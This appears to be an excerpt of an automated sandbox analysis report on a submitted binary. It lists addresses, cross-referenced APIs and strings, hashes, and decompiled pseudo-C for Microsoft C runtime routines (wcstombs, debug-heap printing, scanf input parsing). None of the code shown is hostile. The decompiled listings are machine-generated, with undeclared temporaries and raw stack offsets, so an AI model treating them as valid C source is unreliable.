0x00435ff8
0x00435ffc
0x00436001
0x00436001
0x00435fc9
0x00435fc3
0x00436004
0x00436007
0x0043600a
0x0043600e
0x00436011
0x00436013
0x00436018
0x0043601a
0x0043601f
0x00436024
0x00436026
0x0043602b
0x0043602e
0x00436031
0x00436033
0x00436033
0x00436031
0x00436034
0x00436038
0x00000000
0x0043603a
0x0043603f
0x0043605b
0x00436063
0x00000000
0x00436063
0x00436038
0x00435f24
0x00435f29
0x00435f30
0x00435f47
0x00435f4d
0x00435f5d
0x00435f5d
0x00435f60
0x00435f4f
0x00435f4f
0x00435f55
0x00435f55
0x00435f6f
0x00435f73
0x00435f78
0x00435f30
0x00435f80
0x00000000

APIs

_memset.LIBCMT ref: 00435F73
_memset.LIBCMT ref: 00435FFC
__invalid_parameter.LIBCMTD ref: 0043605B

Strings

_wcstombs_s_l, xrefs: 00436051
sizeInBytes > retsize, xrefs: 00436013, 00436056
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043601F, 0043604C
P, xrefs: 00436070

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2178901135-56445615
Opcode ID: 0a0d2bf0adea15ea04aa3edb79c71c8d3b36f10fef617b87af63ec9e664e724b
Instruction ID: b64399346df259b92b0e118b795ea59a16a4479922eef35d6b4cb5f93522f814
Opcode Fuzzy Hash: 0a0d2bf0adea15ea04aa3edb79c71c8d3b36f10fef617b87af63ec9e664e724b
Instruction Fuzzy Hash: 64418B30D0020AEBCB18CF68C8467AE7771FB48319F14D66AE8292A3D1D3799952CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041ED87, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0041ED87() {
				intOrPtr _t54;
				void* _t61;
				intOrPtr _t68;
				void* _t70;
				void* _t98;
				void* _t99;
				signed int _t100;
				void* _t102;
				void* _t105;

				L0:
				while(1) {
					L0:
					 *(_t100 - 4) =  *(_t100 - 4) + 1;
					if( *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) + 0x10)) >= 0x10) {
						 *((intOrPtr*)(_t100 - 0x6c)) = 0x10;
					} else {
						_t6 =  *((intOrPtr*)(_t100 + 0xc)) + 0x10; // 0x2
						 *((intOrPtr*)(_t100 - 0x6c)) =  *_t6;
					}
					if( *(_t100 - 4) >=  *((intOrPtr*)(_t100 - 0x6c))) {
						break;
					}
					L5:
					 *(_t100 - 0x61) =  *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) +  *(_t100 - 4) + 0x20));
					if(E0041EA40(_t100 - 0x60) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(E0041EA40(_t100 - 0x60))) + 0xac)) <= 1) {
						_t54 = E0042BFD0(E0041EA40(_t100 - 0x60),  *(_t100 - 0x61) & 0x000000ff, 0x157);
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t54;
					} else {
						_t68 = E0042C080(_t70, _t98, _t99,  *(_t100 - 0x61) & 0x000000ff, 0x157, E0041EA40(_t100 - 0x60));
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t68;
					}
					if( *((intOrPtr*)(_t100 - 0x70)) == 0) {
						 *(_t100 - 0x74) = 0x20;
					} else {
						 *(_t100 - 0x74) =  *(_t100 - 0x61) & 0x000000ff;
					}
					 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) =  *(_t100 - 0x74);
					 *((intOrPtr*)(_t100 - 0x68)) =  *((intOrPtr*)(L0041F530( *(_t100 - 0x74))));
					 *((intOrPtr*)(L0041F530( *(_t100 - 0x74)))) = 0;
					_t84 = _t100 +  *(_t100 - 4) * 3 - 0x3c;
					_t61 = E0042BF20(_t100 +  *(_t100 - 4) * 3 - 0x3c, _t100 +  *(_t100 - 4) * 3 - 0x3c, 0x31 -  *(_t100 - 4) * 3, "%.2X ",  *(_t100 - 0x61) & 0x000000ff);
					_t102 = _t105 + 0x10;
					if(_t61 < 0) {
						E0041EF00( *((intOrPtr*)(L0041F530(_t84))), 0x16, 0x22, L"(*_errno())", L"_printMemBlockData", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x963, 0);
						_t102 = _t102 + 0x20;
					}
					 *((intOrPtr*)(L0041F530(_t84))) =  *((intOrPtr*)(_t100 - 0x68));
				}
				L15:
				_t91 =  *(_t100 - 4);
				 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) = 0;
				_push(_t100 - 0x3c);
				if(L00428440(0, 0, 0, 0, " Data: <%s> %s\n", _t100 - 0x50) == 1) {
					asm("int3");
				}
				return E004242B0(E0041EA10(_t100 - 0x60), _t70,  *(_t100 - 8) ^ _t100, _t91, _t98, _t99);
			}

0x0041ed87
0x0041ed87
0x0041ed87
0x0041ed8d
0x0041ed97
0x0041eda4
0x0041ed99
0x0041ed9c
0x0041ed9f
0x0041ed9f
0x0041edb1
0x00000000
0x00000000
0x0041edb7
0x0041edc0
0x0041edcd
0x0041ee15
0x0041ee1a
0x0041ee1d
0x0041ede2
0x0041edf5
0x0041edfa
0x0041edfd
0x0041edfd
0x0041ee24
0x0041ee2f
0x0041ee26
0x0041ee2a
0x0041ee2a
0x0041ee3c
0x0041ee47
0x0041ee4f
0x0041ee73
0x0041ee78
0x0041ee7d
0x0041ee82
0x0041eea6
0x0041eeab
0x0041eeab
0x0041eeb6
0x0041eeb6
0x0041eebd
0x0041eebd
0x0041eec0
0x0041eec8
0x0041eee5
0x0041eee7
0x0041eee7
0x0041eefd

APIs

__isctype_l.LIBCMTD ref: 0041EDF5
_swprintf_s.LIBCMTD ref: 0041EE78
__invoke_watson_if_oneof.LIBCMTD ref: 0041EEA6

Strings

%.2X , xrefs: 0041EE5A
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041EE8B
(*_errno()), xrefs: 0041EE95
_printMemBlockData, xrefs: 0041EE90

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4289034949-3158630120
Opcode ID: b412ed9916aa1e0ebeaf2b416e9f71ddddeb3bbbabcf91754602fece71a35706
Instruction ID: 0c8a6cf534518a0d358a3e1a8b76685581294c35da572df31e8d3ddce766d5bb
Opcode Fuzzy Hash: b412ed9916aa1e0ebeaf2b416e9f71ddddeb3bbbabcf91754602fece71a35706
Instruction Fuzzy Hash: 3631B774A00308EFDB04DFA6C955AED7772AF54304F24456AE8056F3C3D7389A86DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00424021, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 69fileCOMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 00424088
__set_error_mode.LIBCMTD ref: 00424097
GetStdHandle.KERNEL32(000000F4), ref: 004240AE
_strlen.LIBCMT ref: 004240D4
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000), ref: 004240EC

Strings

t/j, xrefs: 004240C1
jjj, xrefs: 00424070

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __set_error_mode$FileHandleWrite_strlen
String ID: jjj$t/j
API String ID: 1121076223-194299851
Opcode ID: c65711b75d8e36f7ff8f10f54a0c1119042ac17d08b905f34e031e9eaf7afb2c
Instruction ID: 7540df21ee1240307863f77ac6ae53be540f8bba95846c046d8d1c9c9dd5f8e9
Opcode Fuzzy Hash: c65711b75d8e36f7ff8f10f54a0c1119042ac17d08b905f34e031e9eaf7afb2c
Instruction Fuzzy Hash: 4C213774F00128EBDB20CBC4FA45B6D7374EB94304F60816AE605572A1DB79AF90CB9E

Uniqueness

Uniqueness Score: -1.00%

Function 00425858, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00425858(void* __edi) {
				signed int _t821;
				signed int _t826;
				void* _t831;
				void* _t840;
				signed int _t844;
				signed int _t847;
				intOrPtr _t849;
				signed int _t860;
				signed int _t882;
				signed int _t884;
				signed int _t887;
				signed int _t891;
				signed int _t894;
				void* _t905;
				signed int _t910;
				signed int _t942;
				void* _t943;
				char _t951;
				signed int _t953;
				void* _t957;
				signed int _t974;
				signed int _t979;
				signed int _t986;
				signed int _t1032;
				signed int _t1040;
				intOrPtr _t1048;
				signed int _t1069;
				signed int _t1075;
				signed int _t1117;
				signed int _t1126;
				void* _t1130;
				void* _t1131;
				signed int _t1132;
				void* _t1134;
				void* _t1135;
				void* _t1138;
				void* _t1141;
				void* _t1142;

				L0:
				while(1) {
					L0:
					_t1130 = __edi;
					if( *(_t1132 - 0x215) > 0) {
						__al =  *(__ebp - 0x29);
						__al =  *(__ebp - 0x29) + 1;
						__eflags = __al;
						 *(__ebp - 0x29) = __al;
					}
					L76:
					while(1) {
						L102:
						 *(_t1132 - 0x48) =  *(_t1132 - 0x7c);
						_t959 =  *(_t1132 - 0xc) - 1;
						 *(_t1132 - 0xc) =  *(_t1132 - 0xc) - 1;
						E00426D30( *(_t1132 - 0x21c),  *(_t1132 + 8));
						_t1135 = _t1134 + 8;
						__eflags =  *(_t1132 - 0x44) - 0x63;
						if( *(_t1132 - 0x44) != 0x63) {
							_t959 =  *(_t1132 - 0x18) - 1;
							__eflags = _t959;
							 *(_t1132 - 0x18) = _t959;
						}
						while(1) {
							L104:
							__eflags =  *(_t1132 - 0x1f0);
							if( *(_t1132 - 0x1f0) == 0) {
								goto L106;
							}
							L105:
							 *(_t1132 - 0x78) =  *(_t1132 - 0x78) - 1;
							__eflags =  *(_t1132 - 0x78);
							if( *(_t1132 - 0x78) == 0) {
								L127:
								__eflags =  *(_t1132 - 0x40);
								if( *(_t1132 - 0x40) == 0) {
									L145:
									_t1056 =  *(_t1132 - 0x48);
									__eflags =  *(_t1132 - 0x48) -  *(_t1132 - 0x7c);
									if( *(_t1132 - 0x48) ==  *(_t1132 - 0x7c)) {
										L165:
										L334:
										__eflags =  *((intOrPtr*)(_t1132 - 0x28)) - 1;
										if( *((intOrPtr*)(_t1132 - 0x28)) == 1) {
											L0041D8B0( *((intOrPtr*)(_t1132 - 0x84)), 2);
											_t1135 = _t1135 + 8;
										}
										__eflags =  *(_t1132 - 0x21c) - 0xffffffff;
										if( *(_t1132 - 0x21c) != 0xffffffff) {
											L342:
											__eflags =  *(_t1132 - 0x24) - 1;
											if( *(_t1132 - 0x24) != 1) {
												L351:
												_t1056 =  *(_t1132 - 8);
												 *(_t1132 - 0x24c) =  *(_t1132 - 8);
												E0041EA10(_t1132 - 0x214);
												_t826 =  *(_t1132 - 0x24c);
												goto L352;
											}
											L343:
											__eflags = 0;
											if(0 == 0) {
												 *(_t1132 - 0x278) = 0;
											} else {
												 *(_t1132 - 0x278) = 1;
											}
											_t1056 =  *(_t1132 - 0x278);
											 *(_t1132 - 0x240) =  *(_t1132 - 0x278);
											__eflags =  *(_t1132 - 0x240);
											if( *(_t1132 - 0x240) == 0) {
												_push(L"(\"Invalid Input Format\",0)");
												_push(0);
												_push(0x563);
												_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c");
												_push(2);
												_t831 = L0041F590();
												_t1135 = _t1135 + 0x14;
												__eflags = _t831 - 1;
												if(_t831 == 1) {
													asm("int3");
												}
											}
											__eflags =  *(_t1132 - 0x240);
											if( *(_t1132 - 0x240) != 0) {
												goto L351;
											} else {
												L350:
												 *((intOrPtr*)(L0041F530(0))) = 0x16;
												E0041F2C0(_t957, 0, _t1130, _t1131, L"(\"Invalid Input Format\",0)", L"_input_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c", 0x563, 0);
												 *(_t1132 - 0x248) =  *(_t1132 - 8);
												E0041EA10(_t1132 - 0x214);
												_t826 =  *(_t1132 - 0x248);
												goto L352;
											}
										} else {
											L337:
											__eflags =  *(_t1132 - 8);
											if( *(_t1132 - 8) != 0) {
												L340:
												_t1056 =  *(_t1132 - 8);
												 *(_t1132 - 0x274) =  *(_t1132 - 8);
												L341:
												 *(_t1132 - 0x244) =  *(_t1132 - 0x274);
												E0041EA10(_t1132 - 0x214);
												_t826 =  *(_t1132 - 0x244);
												L352:
												__eflags =  *(_t1132 - 0x50) ^ _t1132;
												return E004242B0(_t826, _t957,  *(_t1132 - 0x50) ^ _t1132, _t1056, _t1130, _t1131);
											}
											L338:
											__eflags =  *(_t1132 - 0x1e9);
											if( *(_t1132 - 0x1e9) != 0) {
												goto L340;
											}
											L339:
											 *(_t1132 - 0x274) = 0xffffffff;
											goto L341;
										}
									}
									L146:
									__eflags =  *((char*)(_t1132 - 0x12));
									if( *((char*)(_t1132 - 0x12)) == 0) {
										 *(_t1132 - 8) =  *(_t1132 - 8) + 1;
										__eflags =  *(_t1132 - 0x44) - 0x63;
										if( *(_t1132 - 0x44) != 0x63) {
											__eflags =  *(_t1132 - 0x29);
											if( *(_t1132 - 0x29) == 0) {
												 *( *(_t1132 - 0x7c)) = 0;
												__eflags =  *(_t1132 - 0x34) - 0xffffffff;
												if( *(_t1132 - 0x34) != 0xffffffff) {
													__eflags =  *(_t1132 - 0x34) - 0x7fffffff;
													if( *(_t1132 - 0x34) != 0x7fffffff) {
														__eflags =  *(_t1132 - 0x7c) -  *(_t1132 - 0x48) + 1 -  *(_t1132 - 0x34);
														if( *(_t1132 - 0x7c) -  *(_t1132 - 0x48) + 1 <  *(_t1132 - 0x34)) {
															__eflags =  *0x43d1bc -  *(_t1132 - 0x34) -  *(_t1132 - 0x7c) -  *(_t1132 - 0x48) + 1;
															if( *0x43d1bc >=  *(_t1132 - 0x34) -  *(_t1132 - 0x7c) -  *(_t1132 - 0x48) + 1) {
																_t910 =  *(_t1132 - 0x34) -  *(_t1132 - 0x7c) -  *(_t1132 - 0x48) + 1;
																__eflags = _t910;
																 *(_t1132 - 0x270) = _t910;
															} else {
																 *(_t1132 - 0x270) =  *0x43d1bc;
															}
															__eflags =  *(_t1132 - 0x7c) -  *(_t1132 - 0x48);
															E0041BED0(_t1130,  *(_t1132 - 0x48) +  *(_t1132 - 0x7c) -  *(_t1132 - 0x48) + 1, 0xfe,  *(_t1132 - 0x270));
															_t1135 = _t1135 + 0xc;
														}
													}
												}
											} else {
												 *( *(_t1132 - 0x7c)) = 0;
												__eflags =  *(_t1132 - 0x34) - 0xffffffff;
												if( *(_t1132 - 0x34) != 0xffffffff) {
													__eflags =  *(_t1132 - 0x34) - 0x7fffffff;
													if( *(_t1132 - 0x34) != 0x7fffffff) {
														__eflags = ( *(_t1132 - 0x7c) -  *(_t1132 - 0x48) >> 1) + 1 -  *(_t1132 - 0x34);
														if(( *(_t1132 - 0x7c) -  *(_t1132 - 0x48) >> 1) + 1 <  *(_t1132 - 0x34)) {
															__eflags =  *0x43d1bc -  *(_t1132 - 0x34) - ( *(_t1132 - 0x7c) -  *(_t1132 - 0x48) >> 1) + 1;
															if( *0x43d1bc >=  *(_t1132 - 0x34) - ( *(_t1132 - 0x7c) -  *(_t1132 - 0x48) >> 1) + 1) {
																_t1032 =  *(_t1132 - 0x34) - ( *(_t1132 - 0x7c) -  *(_t1132 - 0x48) >> 1) + 1;
																__eflags = _t1032;
																 *(_t1132 - 0x26c) = _t1032;
															} else {
																 *(_t1132 - 0x26c) =  *0x43d1bc;
															}
															__eflags =  *(_t1132 - 0x7c) -  *(_t1132 - 0x48);
															E0041BED0(_t1130,  *(_t1132 - 0x48) + 2 + ( *(_t1132 - 0x7c) -  *(_t1132 - 0x48) >> 1) * 2, 0xfe,  *(_t1132 - 0x26c) << 1);
															_t1135 = _t1135 + 0xc;
														}
													}
												}
											}
										}
									}
									while(1) {
										L317:
										 *(_t1132 - 0x1e9) =  *(_t1132 - 0x1e9) + 1;
										 *(_t1132 + 0xc) =  *(_t1132 + 0xc) + 1;
										while(1) {
											L329:
											__eflags =  *(_t1132 - 0x21c) - 0xffffffff;
											if( *(_t1132 - 0x21c) != 0xffffffff) {
												goto L333;
											}
											L330:
											_t1056 =  *(_t1132 + 0xc);
											__eflags = ( *( *(_t1132 + 0xc)) & 0x000000ff) - 0x25;
											if(( *( *(_t1132 + 0xc)) & 0x000000ff) != 0x25) {
												L332:
												goto L334;
											}
											L331:
											_t974 =  *(_t1132 + 0xc);
											_t1056 =  *(_t974 + 1) & 0x000000ff;
											__eflags = ( *(_t974 + 1) & 0x000000ff) - 0x6e;
											if(( *(_t974 + 1) & 0x000000ff) == 0x6e) {
												goto L333;
											}
											goto L332;
											L333:
											while(1) {
												L1:
												_t1056 =  *(_t1132 + 0xc);
												if(( *( *(_t1132 + 0xc)) & 0x000000ff) == 0) {
													goto L334;
												}
												L2:
												_t840 = E004328C0(_t957, _t1130, _t1131,  *( *(_t1132 + 0xc)) & 0x000000ff);
												_t1135 = _t1135 + 4;
												if(_t840 == 0) {
													L6:
													__eflags = ( *( *(_t1132 + 0xc)) & 0x000000ff) - 0x25;
													if(( *( *(_t1132 + 0xc)) & 0x000000ff) != 0x25) {
														L320:
														__eflags = ( *( *(_t1132 + 0xc)) & 0x000000ff) - 0x25;
														if(( *( *(_t1132 + 0xc)) & 0x000000ff) == 0x25) {
															_t860 =  *(_t1132 + 0xc);
															__eflags = ( *(_t860 + 1) & 0x000000ff) - 0x25;
															if(( *(_t860 + 1) & 0x000000ff) == 0x25) {
																_t1069 =  *(_t1132 + 0xc) + 1;
																__eflags = _t1069;
																 *(_t1132 + 0xc) = _t1069;
															}
														}
														 *(_t1132 - 0xc) =  *(_t1132 - 0xc) + 1;
														_t844 = E00426CD0( *(_t1132 + 8),  *(_t1132 + 8));
														_t1138 = _t1135 + 4;
														 *(_t1132 - 0x21c) = _t844;
														 *(_t1132 + 0xc) =  *(_t1132 + 0xc) + 1;
														__eflags = ( *( *(_t1132 + 0xc)) & 0x000000ff) -  *(_t1132 - 0x21c);
														if(( *( *(_t1132 + 0xc)) & 0x000000ff) ==  *(_t1132 - 0x21c)) {
															L325:
															_t847 = E0042F0A0( *(_t1132 - 0x21c) & 0x000000ff);
															_t1135 = _t1138 + 4;
															__eflags = _t847;
															if(_t847 == 0) {
																do {
																	L329:
																	__eflags =  *(_t1132 - 0x21c) - 0xffffffff;
																	if( *(_t1132 - 0x21c) != 0xffffffff) {
																		goto L333;
																	}
																	goto L330;
																} while (_t847 == 0);
															}
															L326:
															 *(_t1132 - 0xc) =  *(_t1132 - 0xc) + 1;
															_t849 = E00426CD0( *(_t1132 - 0xc) + 1,  *(_t1132 + 8));
															_t1135 = _t1135 + 4;
															 *((intOrPtr*)(_t1132 - 0x23c)) = _t849;
															 *(_t1132 + 0xc) =  *(_t1132 + 0xc) + 1;
															__eflags = ( *( *(_t1132 + 0xc)) & 0x000000ff) -  *((intOrPtr*)(_t1132 - 0x23c));
															if(( *( *(_t1132 + 0xc)) & 0x000000ff) ==  *((intOrPtr*)(_t1132 - 0x23c))) {
																L328:
																_t979 =  *(_t1132 - 0xc) - 1;
																__eflags = _t979;
																 *(_t1132 - 0xc) = _t979;
																goto L329;
															}
															L327:
															 *(_t1132 - 0xc) =  *(_t1132 - 0xc) - 1;
															E00426D30( *((intOrPtr*)(_t1132 - 0x23c)),  *(_t1132 + 8));
															 *(_t1132 - 0xc) =  *(_t1132 - 0xc) - 1;
															_t1056 =  *(_t1132 + 8);
															E00426D30( *(_t1132 - 0x21c),  *(_t1132 + 8));
															_t1135 = _t1135 + 0x10;
														} else {
															L324:
															 *(_t1132 - 0xc) =  *(_t1132 - 0xc) - 1;
															_t1056 =  *(_t1132 - 0x21c);
															E00426D30( *(_t1132 - 0x21c),  *(_t1132 + 8));
															_t1135 = _t1138 + 8;
														}
														goto L334;
													}
													L7:
													_t986 =  *(_t1132 + 0xc);
													__eflags = ( *(_t986 + 1) & 0x000000ff) - 0x25;
													if(( *(_t986 + 1) & 0x000000ff) == 0x25) {
														goto L320;
													} else {
														 *(_t1132 - 0x220) = 0;
														 *((char*)(_t1132 - 0x7d)) = 0;
														 *(_t1132 - 0x1f4) = 0;
														 *(_t1132 - 0x1f0) =  *(_t1132 - 0x1f4);
														 *(_t1132 - 0x78) =  *(_t1132 - 0x1f0);
														 *(_t1132 - 0x18) = 0;
														 *(_t1132 - 0x34) =  *(_t1132 - 0x18);
														 *(_t1132 - 0x40) = 0;
														 *(_t1132 - 3) = 0;
														 *((char*)(_t1132 - 2)) =  *(_t1132 - 3);
														 *((char*)(_t1132 - 0x12)) =  *((intOrPtr*)(_t1132 - 2));
														 *(_t1132 - 0x1e) =  *((intOrPtr*)(_t1132 - 0x12));
														 *(_t1132 - 0x29) =  *(_t1132 - 0x1e);
														 *(_t1132 - 0x215) = 0;
														 *((char*)(_t1132 - 0x1d)) = 1;
														 *(_t1132 - 0x30) = 0;
														while(1) {
															L9:
															__eflags =  *(_t1132 - 0x1e);
															if( *(_t1132 - 0x1e) != 0) {
																break;
															}
															L10:
															 *(_t1132 + 0xc) =  *(_t1132 + 0xc) + 1;
															 *(_t1132 - 0x44) =  *( *(_t1132 + 0xc)) & 0x000000ff;
															_t891 = E00432740(_t957, _t1130, _t1131,  *(_t1132 - 0x44) & 0x000000ff);
															_t1135 = _t1135 + 4;
															__eflags = _t891;
															if(_t891 == 0) {
																L12:
																 *(_t1132 - 0x25c) =  *(_t1132 - 0x44);
																 *(_t1132 - 0x25c) =  *(_t1132 - 0x25c) - 0x2a;
																__eflags =  *(_t1132 - 0x25c) - 0x4d;
																if( *(_t1132 - 0x25c) > 0x4d) {
																	L39:
																	_t894 =  *(_t1132 - 0x1e) + 1;
																	__eflags = _t894;
																	 *(_t1132 - 0x1e) = _t894;
																	goto L40;
																}
																L13:
																_t63 =  *(_t1132 - 0x25c) + 0x426af8; // 0x1eff8b06
																switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00426AD8))) {
																	case 0:
																		L38:
																		 *((intOrPtr*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																		 *((char*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																		goto L40;
																	case 1:
																		L14:
																		goto L40;
																	case 2:
																		L16:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *(__eax + 1) & 0x000000ff;
																		__eflags = ( *(__eax + 1) & 0x000000ff) - 0x36;
																		if(( *(__eax + 1) & 0x000000ff) != 0x36) {
																			L19:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																			__eflags = __ecx - 0x33;
																			if(__ecx != 0x33) {
																				L22:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *(__edx + 1) & 0x000000ff;
																				__eflags = ( *(__edx + 1) & 0x000000ff) - 0x64;
																				if(( *(__edx + 1) & 0x000000ff) == 0x64) {
																					L27:
																					__eax = 0;
																					__eflags = 0;
																					if(0 != 0) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 1;
																						__eflags = __ecx;
																						 *(__ebp - 0x30) = __ecx;
																						 *(__ebp - 0x200) = 0;
																						 *(__ebp - 0x1fc) = 0;
																					}
																					L29:
																					goto L40;
																				}
																				L23:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *(__ecx + 1) & 0x000000ff;
																				__eflags = ( *(__ecx + 1) & 0x000000ff) - 0x69;
																				if(( *(__ecx + 1) & 0x000000ff) == 0x69) {
																					goto L27;
																				}
																				L24:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L27;
																				}
																				L25:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *(__edx + 1) & 0x000000ff;
																				__eflags = ( *(__edx + 1) & 0x000000ff) - 0x78;
																				if(( *(__edx + 1) & 0x000000ff) == 0x78) {
																					goto L27;
																				}
																				L26:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *(__ecx + 1) & 0x000000ff;
																				__eflags = ( *(__ecx + 1) & 0x000000ff) - 0x58;
																				if(( *(__ecx + 1) & 0x000000ff) != 0x58) {
																					__edx = 0;
																					__eflags = 0;
																					if(0 != 0) {
																						__eax =  *(__ebp - 0x30);
																						__eax =  *(__ebp - 0x30) + 1;
																						__eflags = __eax;
																						 *(__ebp - 0x30) = __eax;
																						 *(__ebp - 0x200) = 0;
																						 *(__ebp - 0x1fc) = 0;
																					}
																					goto L39;
																				}
																				goto L27;
																			}
																			L20:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *(__edx + 2) & 0x000000ff;
																			__eflags = ( *(__edx + 2) & 0x000000ff) - 0x32;
																			if(( *(__edx + 2) & 0x000000ff) != 0x32) {
																				goto L22;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				goto L40;
																			}
																		}
																		L17:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *(__edx + 2) & 0x000000ff;
																		__eflags = ( *(__edx + 2) & 0x000000ff) - 0x34;
																		if(( *(__edx + 2) & 0x000000ff) != 0x34) {
																			goto L19;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																			 *(__ebp - 0x200) = 0;
																			 *(__ebp - 0x1fc) = 0;
																			goto L40;
																		}
																	case 3:
																		L33:
																		__cl =  *(__ebp - 0x1d);
																		__cl =  *(__ebp - 0x1d) + 1;
																		 *(__ebp - 0x1d) = __cl;
																		goto L40;
																	case 4:
																		L15:
																		__cl =  *(__ebp - 0x1d);
																		__cl =  *(__ebp - 0x1d) - 1;
																		 *(__ebp - 0x1d) = __cl;
																		 *(__ebp - 0x215) =  *(__ebp - 0x215) - 1;
																		 *(__ebp - 0x215) =  *(__ebp - 0x215) - 1;
																		goto L40;
																	case 5:
																		L34:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *(__edx + 1) & 0x000000ff;
																		__eflags = ( *(__edx + 1) & 0x000000ff) - 0x6c;
																		if(( *(__edx + 1) & 0x000000ff) != 0x6c) {
																			__al =  *(__ebp - 0x1d);
																			__al =  *(__ebp - 0x1d) + 1;
																			__eflags = __al;
																			 *(__ebp - 0x1d) = __al;
																			goto L37;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																			 *(__ebp - 0x200) = 0;
																			 *(__ebp - 0x1fc) = 0;
																			goto L40;
																		}
																	case 6:
																		L37:
																		__cl =  *(__ebp - 0x215);
																		__cl =  *(__ebp - 0x215) + 1;
																		 *(__ebp - 0x215) = __cl;
																		goto L40;
																	case 7:
																		goto L39;
																}
															} else {
																 *(_t1132 - 0x1f0) =  *(_t1132 - 0x1f0) + 1;
																 *(_t1132 - 0x78) =  *(_t1132 - 0x44) + ( *(_t1132 - 0x78) +  *(_t1132 - 0x78) * 4) * 2 - 0x30;
																L40:
																continue;
															}
														}
														L41:
														__eflags =  *((char*)(_t1132 - 0x12));
														if( *((char*)(_t1132 - 0x12)) != 0) {
															 *(_t1132 - 0x7c) = 0;
														} else {
															 *((intOrPtr*)(_t1132 - 0x1c)) =  *((intOrPtr*)(_t1132 + 0x14));
															 *((intOrPtr*)(_t1132 + 0x14)) =  *((intOrPtr*)(_t1132 + 0x14)) + 4;
